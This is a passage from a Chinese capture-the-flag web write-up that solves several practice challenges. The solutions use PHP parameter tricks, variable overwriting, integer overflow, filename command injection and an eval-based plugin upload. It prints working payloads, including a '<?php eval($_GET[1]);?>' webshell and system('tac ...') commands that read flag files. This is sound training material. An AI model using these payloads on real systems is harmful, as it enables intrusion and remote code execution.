die ( "你太长了!!" );
}
else {
$result = $result . $_GET [ $i ];
}
}
if ( $result === "大牛" ){
echo $flag ;
}
这里看 else 里面:
$result = $result . $_GET [ $i ];
也就是说输入的字符会被进行一个拼接然后赋值给 result,那么这里就可以多个传参用 & 连接,如:
? 1 =%E5& 2 =%A4& 3 =%A7& 4 =%E7& 5 =% 89 & 6 =% 9 B
这样就能得到 flag 了。在 url 编码里面 % xx 算作一个解码点,也就是一个字符。
传说之下(雾)是个小游戏 欢迎来到夜之城
边抓包边玩看看。发现没有通过包进行传数据,只能进行代码审计了。
代码审计,找到关键类:
直接修改 js 是不行的。这里可以看到 Game 是这个关键类的实例,直接到控制台冲它:
双击 score 的值进行修改即可。
from flask import request
cmd: str = request.form.get( 'cmd' )
param: str = request.form.get( 'param' )
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None :
try :
tVar = subprocess.run([cmd[: 3 ], param, __file__ ], cwd =os.getcwd(), timeout = 5 )
print ( 'Done!' )
except subprocess.TimeoutExpired:
print ( 'Timeout!' )
except :
print ( 'Error!' )
else :
print ( 'No Flag!' )
参考:[Request.Form.Get () Request.Form Request] 区别
这里的 cmd 和 param 都是 post 传参。主要是对这一句话的理解:
tVar = subprocess.run([cmd[: 3 ], param, __file__ ], cwd =os.getcwd(), timeout = 5 )
这里命令执行函数的参数中有 cmd [:3] 说明只能写三个字符之内的命令,第二个参数可以写文件名或者路径:
参考官方文档:Python3 subprocess
于是可以先查看当前目录有什么:
tac 这个 flag 就可以了:
post:cmd=tac & param=flag . txt
遍地飘零(变量覆盖)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php
include "flag.php" ;
highlight_file ( __FILE__ );
$zeros = "000000000000000000000000000000" ;
foreach ( $_GET as $key => $value ){
$$key = $$value ;
}
if ( $flag == "000000000000000000000000000000" ){
echo "好多零" ;
} else {
echo "没有零,仔细看看输入有什么问题吧" ;
var_dump ( $_GET );
}
没有零,仔细看看输入有什么问题吧array ( 0 ) { }
var_dump 里面打印的是 $_GET,所以我们要覆盖的点也很清楚了:
茶歇区(整数溢出)a= 0 & b= 0 & c= 0 & d= 0 & e= 999999999999999999 & submit=%E5% 8 D%B7%E4%BA% 86 %E5%B0%B1%E8%B7% 91 %EF%BC% 81
可以用重发器试,在 e 后面加 9 的个数发出直到说拿到了分,不用在意是正是负,看到这个提示之后再发就能拿到了。
LSB 探姬(代码审计抓包修改)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 # !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask( __name__ )
@app.route ( '/' , methods =[ 'GET' ])
def index ():
return render_template( 'upload.html' )
@app.route ( '/upload' , methods =[ 'GET' , 'POST' ])
def upload_file ():
if request.method == 'POST' :
try :
f = request.files[ 'file' ]
f.save( 'upload/' +f.filename)
cmd= "python3 tsteg.py upload/" +f.filename
result=os.popen(cmd).read()
data={ "code" : 0 , "cmd" :cmd, "result" :result, "message" : "file uploaded!" }
return jsonify(data)
except :
data={ "code" : 1 , "message" : "file upload error!" }
return jsonify(data)
else :
return render_template( 'upload.html' )
@app.route ( '/source' , methods =[ 'GET' ])
def show_source ():
return render_template( 'source.html' )
if __name__ == '__main__' :
app.run( host = '0.0.0.0' , port = 80 , debug = False )
这里主要是这段:
cmd= "python3 tsteg.py upload/" +f.filename
result=os.popen(cmd).read()
可以看出,cmd 作为参数被执行命令,而且 filename 是直接拼接的,没有任何过滤。
还要知道个冷知识就是:python 中,同一行使用分号并不表示程序在那一行截止,而表示分隔,它允许在同一行中编写多个语句。
于是可以抓包改文件名用分号进行命令注入:
得到当前目录:
尝试 tac:
Is_Not_Obfuscate
尝试下载 robots:
User-agent: *
Allow: /lib . php$
Disallow: /lib . php?flag= 0
Disallow: /plugins
测试 /lib.php?flag=0 并没有回显是空的,尝试别的值得到类似 base64 的代码:
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT
联想到题目要咱们输入加密代码,并且源代码中注释给出一个 button 则进行修改:
得到代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 Anything is good?Please test it . <?php
header ( "Content-Type:text/html;charset=utf-8" );
include 'lib.php' ;
if (! is_dir ( './plugins/' )){
@ mkdir ( './plugins/' , 0777 );
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if ( $_GET [ 'action' ] === 'test' ) {
echo 'Anything is good?Please test it.' ;
@ eval ( decode ( $_GET [ 'input' ]));
}
ini_set ( 'open_basedir' , './plugins/' );
if (! empty ( $_GET [ 'action' ])){
switch ( $_GET [ 'action' ]){
case 'pull' :
$output = @ eval ( decode ( file_get_contents ( './plugins/' . $_GET [ 'input' ])));
echo "pull success" ;
break ;
case 'push' :
$input = file_put_contents ( './plugins/' . md5 ( $_GET [ 'output' ] . 'youyou' ), encode ( $_GET [ 'output' ]));
echo "push success" ;
break ;
default :
die ( 'hacker!' );
}
}
?>
<!doctype html>
<head>
<meta http-equiv= "Content-Type" content= "text/html; charset=utf-8" />
<title>Push or Pull (最好用的开源插件社区)</title>
</head>
<style>
. main {
max-width: 950 px;
padding: 19 px 29 px 29 px;
margin: 0 auto 20 px;
background-color: #c9c4c4;
border: 1 px solid #e0dbdb;
-webkit-border-radius: 5 px;
-moz-border-radius: 5 px;
border-radius: 5 px;
-webkit-box-shadow: 0 1 px 2 px rgba ( 0 , 0 , 0 , .05 );
-moz-box-shadow: 0 1 px 2 px rgba ( 0 , 0 , 0 , .05 );
box-shadow: 0 1 px 2 px rgba ( 0 , 0 , 0 , .05 );
}
small {
color: #777;
}
. ml6 {
margin-left: 6 px;
}
. help {
max-width: 950 px;
padding: 19 px 29 px 29 px;
margin: 0 auto 20 px;
background-color: #92e8c0;
border: 1 px solid #99e169;
-webkit-border-radius: 5 px;
-moz-border-radius: 5 px;
border-radius: 5 px;
-webkit-box-shadow: 0 1 px 2 px rgba ( 0 , 0 , 0 , .05 );
-moz-box-shadow: 0 1 px 2 px rgba ( 0 , 0 , 0 , .05 );
box-shadow: 0 1 px 2 px rgba ( 0 , 0 , 0 , .05 );
}
</style>
<div class = "main" >
<h3>Push or Pull<small class = "ml6" >(最好用的开源插件社区)</small></h3>
<form method= "get" >
<textarea name= "input" cols= "80" rows= "6" placeholder= "输入需要预览的插件名称" ></textarea>
< br />
<!-- //测试执行加密后的插件代码
//这里只能执行加密代码,非加密代码不能执行
eval ( decode ( $_GET [ 'input' ])); -->
<!-- <button name= "action" value= "test" > 执行 ( do )</button>-->
<button name= "action" value= "pull" > 预览 (pull)</button>
<button name= "action" value= "push" > 贡献 (push)</button>
< br />
<textarea name= "output" cols= "80" rows= "6" placeholder= "<?php @eval( $output );?>" ></textarea>
</form>
<div class = "help" >
<p>您可以免费预览插件的源码与执行效果,也可以购买我们998 $的解密器进行二次开发。 </p>
<p>您可以贡献代码给我们,我们可能会采纳,届时将提供奖励</p>
</div>
</div>
<!-- Test the lib . php before use the index . php! -->
<!-- After that , delete the robots . txt! -->
</ html >
hacker !
其实到这一步发现地址栏中 action 值变成了 test,那么也就是说可以不用修改按钮直接观察 get 传参方式,进行修改传参也可,例如:
?input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI% 2 Fw3p1% 2 B% 2 FwX69euqzpVDJ2a% 2 FGkWO4z4QQpnTUq9P5fFd3Uu% 2 BYvM2ht% 2 BZXSvYiLXq0o8zaUZ% 2 FKSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K% 2 BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr% 2 BNHn6Jn3MYCnm% 2 Fz9GbI9TH0XZfPPoqqZRrKo48Gdz% 2 BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI% 2 BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg% 2 FEmgnR% 2 Bx6othXTZ2ZGQsEYvRa% 2 FU1LaK% 2 F4D7Op3ZKrKFnzAs01qSCbbf% 2 BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ% 2 BDU5vzz0% 2 BdoHA% 2 B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw% 2 BF7BHMJPheaGD3faUo71nCiV6QWQu0VW% 2 FO2DvG% 2 Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg% 2 BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9% 2 BkQvcSUbuwuEnWHYzn16% 2 FewTo% 2 BgVIqv0% 2 BDNJC0YUGs9kWnS2% 2 B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ% 2 Fr2muD0WE4G5qRRQ8dnmkgxTVF7Zh61% 2 Fyvmis14AVf3UwjoHywgVs7MNevg% 2 FtCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY% 2 BMB7L5c4S% 2 B5arvpFKn% 2 FGN4KvCEWYZ% 2 Br7inzI% 2 Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E% 2 BfPm6bO7% 2 FjSe% 2 B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp% 2 FSzwQLyo5N5HVZEVzMdqY7RiEqT6% 2 FFOLji7N% 2 F7E3c% 2 B8ZLOGGQcDJMM5FARuDOfYyh09% 2 BM% 2 BI1Hdc% 2 BbCze4S0TuOa3j7orHPzP% 2 FBLQQLKt6c4cLZ42QbgJwmpowDmVjo% 2 FR6dyCuJbWwKGS8BVtzxfh2YhYu% 2 Br1n7mrY7nPTxszI6w% 2 FTWAErJEBVZwXlj33RDqfi% 2 Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP% 2 F9% 2 Bw8pT7oT & action=test & output=
回到主线。根据这个源码的 switch 函数里面的两个切入点进行构建,这里的第二个 case 点是用来构建恶意代码文件的,然后第一个 case 可以用来进行一个读取。这里先进行第二个文件的构建:
push:
?action=push & output= system ( 'ls' );
计算 md5 值:
<?php
echo md5 ( 'system(' ls ');' . 'youyou' );
?>
得到文件名:
09 a01bc41e5e2c8b3e47cc16869171fb
push 成功之后进行 pull 传参:
?action=pull & input= 09 a01bc41e5e2c8b3e47cc16869171fb
得到目录文件有:
说明思路是对的。这之后更换非法语句即可。
push:?action=push & output=<?php eval ( $_GET [ 1 ]); phpinfo ();?>
pull:?action=pull & input= 8 d42ec7469dcadc5679dce59d7a27342
// input的值是md5('<?php eval($_GET[1]);phpinfo(); ?> '.' youyou ')
tac 一手就可以了:
?action=pull & input= 8 d42ec7469dcadc5679dce59d7a27342& 1 = system ( 'tac /f1agaaa' );